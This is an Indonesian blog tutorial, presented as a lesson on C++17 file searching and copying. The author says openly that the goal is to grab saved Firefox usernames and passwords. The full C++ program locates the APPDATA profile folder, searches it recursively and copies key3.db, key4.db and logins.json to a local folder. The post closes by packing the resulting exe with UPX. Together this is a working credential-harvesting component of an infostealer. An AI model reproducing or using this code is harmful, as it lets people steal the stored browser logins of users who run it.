Belajar C++ dalam management file seperti copy cukup mudah. Kasusnya sebenarnya sangat sederhana yaitu hanya mencari beberapa file pada system operasi sistem windows dan copy file tersebut pada sebuah lokasi yang sudah disiapkan. Untuk urusan mencari file / searching file secara rekursif menggunakan Compiler C++ 17 tentu sangat mudah sekali, karena sudah ada library filesystem.
Tantangan nya yaitu menemukan file tersebut harus secara efektif, karena tidak mungkin mencari ke seluruh file / direktori di C:/, untuk hal tersebut perlu dipersempit areanya. Untungnya di C++ sudah disediakan oleh Windows dengan memanfaatkan API yaitu shgetfolderpath
Spesial Folder pada Windows
Sistem operasi windows mempunyai beragam spesial folder yang biasa digunakan untuk proses install aplikasi, simpan cache juga. Nah di Windows terdapat Apa saja spesial foldernya?
- C:\Users\User\AppData\Roaming
- C:\Users\User\AppData\Local\Microsoft\Windows\Burn\Burn
- C:\ProgramData
- C:\Users\Public\Desktop
- C:\Users\Public\Documents
- C:\Users\Public\Music
- C:\Users\Public\Pictures
- C:\ProgramData\Microsoft\Windows\Start Menu\Programs
- C:\ProgramData\Microsoft\Windows\Start Menu
- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
- C:\ProgramData\Microsoft\Windows\Templates
- C:\Users\Public\Videos
- C:\Users\User\Desktop
- C:\Users\User\AppData\Local\Microsoft\Windows\INetCache
- C:\Users\User\AppData\Local
- C:\Users\User\Documents
API pada windows untuk mendapatkan semua lokasi diatas ditangani oleh header #include <Shlobj.h> Kalian bisa baca pelajari lanjut di
- https://stackoverflow.com/questions/37829481/using-an-array-with-shgetfolderpath
- https://docs.microsoft.com/en-us/windows/win32/shell/csidl
Nah ceritanya adalah saya ingin mengambil semua informasi mengenai password dan username atas sebuah aplikasi firefox, dimana peramban tersebut menyimpan informasi dan kunci enkripsi pada sebuah file berikut
- key3.db dan key4.db (database berbasis sqlite) yang berisi informasi kunci enkripsi
- logins.json yang berisi alamat situs, field HTML, dan tentunya username dan password ter enkripsi
file-file diatas tersebut berada di C:\Users\User\AppData\Roaming/Mozilla/Firefox/Profiles/ dan didalam subfolder sesuai proses instalasi setiap komputer berbeda-beda serta juga beda nama user. Tentu untuk mendapatkan lokasi pastinya diperlukan proses searching direktori secara rekursif. Yuk mari kita buat terlebih dahulu lokasi direktori asalnya dulu
TCHAR szPath[MAX_PATH]; SHGetFolderPath(NULL, CSIDL_APPDATA, NULL,0,szPath); string pencarian_firefox = lstrcat(szPath,"/Mozilla/Firefox/Profiles/"); cout<<pencarian_firefox<<endl;
hasilnya lokasi asal direktori yaitu
C:\Users\User\AppData\Roaming/Mozilla/Firefox/Profiles/
Kemudian dengan menggunakan API include <filesystem> yang ada di C++17 sangat mudah digunakan
const fs::path sandbox{pencarian_firefox}; for (const fs::directory_entry & dir_entry : fs::recursive_directory_iterator{sandbox}) { cout<<dir_entry<<endl; }
dengan kode diatas, maka seluruh direktori/sub direktori akan dijelajahi satu-persatu, nah ketika file key4.db dan logins.json ditemukan! maka lakukan copy() berikut kode yang saya gunakan untuk Copy file pada Compiler C++17
#include <iostream> #include <Shlobj.h> //get document #include <filesystem> //search direktori using namespace std; namespace fs = std::filesystem; int main() { // TCHAR szPath[MAX_PATH]; // // std::array<int, 16> locations = { // CSIDL_APPDATA, CSIDL_CDBURN_AREA, CSIDL_COMMON_APPDATA, CSIDL_COMMON_DESKTOPDIRECTORY, // CSIDL_COMMON_DOCUMENTS, CSIDL_COMMON_MUSIC, CSIDL_COMMON_PICTURES, CSIDL_COMMON_PROGRAMS, // CSIDL_COMMON_STARTMENU, CSIDL_COMMON_STARTUP, CSIDL_COMMON_TEMPLATES, CSIDL_COMMON_VIDEO, // CSIDL_DESKTOPDIRECTORY, CSIDL_INTERNET_CACHE, CSIDL_LOCAL_APPDATA, CSIDL_PERSONAL}; // // for (auto location : locations) // { // SHGetFolderPath(NULL, // location | CSIDL_FLAG_CREATE, // NULL, // 0, // szPath); // cout<<szPath<<endl; // } TCHAR szPath[MAX_PATH]; SHGetFolderPath(NULL, CSIDL_APPDATA, NULL,0,szPath); string pencarian_firefox = lstrcat(szPath,"/Mozilla/Firefox/Profiles/"); cout<<pencarian_firefox<<endl; const fs::path sandbox{pencarian_firefox}; std::string key3 = "key3.db"; std::string key4 = "key4.db"; std::string logins = "logins.json"; std::string tujuan = "data firefox/"; fs::create_directories(tujuan); int i = 0; for (const fs::directory_entry & dir_entry : fs::recursive_directory_iterator{sandbox}) { if(i>=3)break; cout<<dir_entry<<endl; fs::path nama_file = fs::path(dir_entry). filename(); if(strcmp(nama_file.string().c_str(),key3.c_str())==0){ std::cout << "lokasinya : "<<dir_entry << '\n'; fs::copy(dir_entry,tujuan+key3); i++; } if(strcmp(nama_file.string().c_str(),key4.c_str())==0){ std::cout << "lokasinya : "<<dir_entry << '\n'; fs::copy(dir_entry,tujuan+key4); i++; } if(strcmp(nama_file.string().c_str(),logins.c_str())==0){ std::cout << "lokasinya : "<<dir_entry << '\n'; fs::copy(dir_entry,tujuan+logins); i++; } } return 0; }
Ternyata Copy file pada Compiler C++17 cukup gampang digunakan. Tapi ada sedikit kekurangannya yaitu file *.exe nanti agak bengkak ukuran file nya! yaitu 3 MB ya karena banyak menggunakan API diatas, tapi tenang saja sih kalian bisa menggunakan UPX koq buat kompress file exe nya https://upx.github.io/
Berikut ketika mencoba UPX untuk mengkompress file exe
PS D:\upx-3.96-win64> .\upx.exe -9 -oFILE ".\Spesial Folder.exe" Ultimate Packer for eXecutables Copyright (C) 1996 - 2020 UPX 3.96w Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020 File size Ratio Format Name -------------------- ------ ----------- ----------- 3722929 -> 2363057 63.47% win64/pe FILE Packed 1 file.
Berkurang menjadi 63.47% saja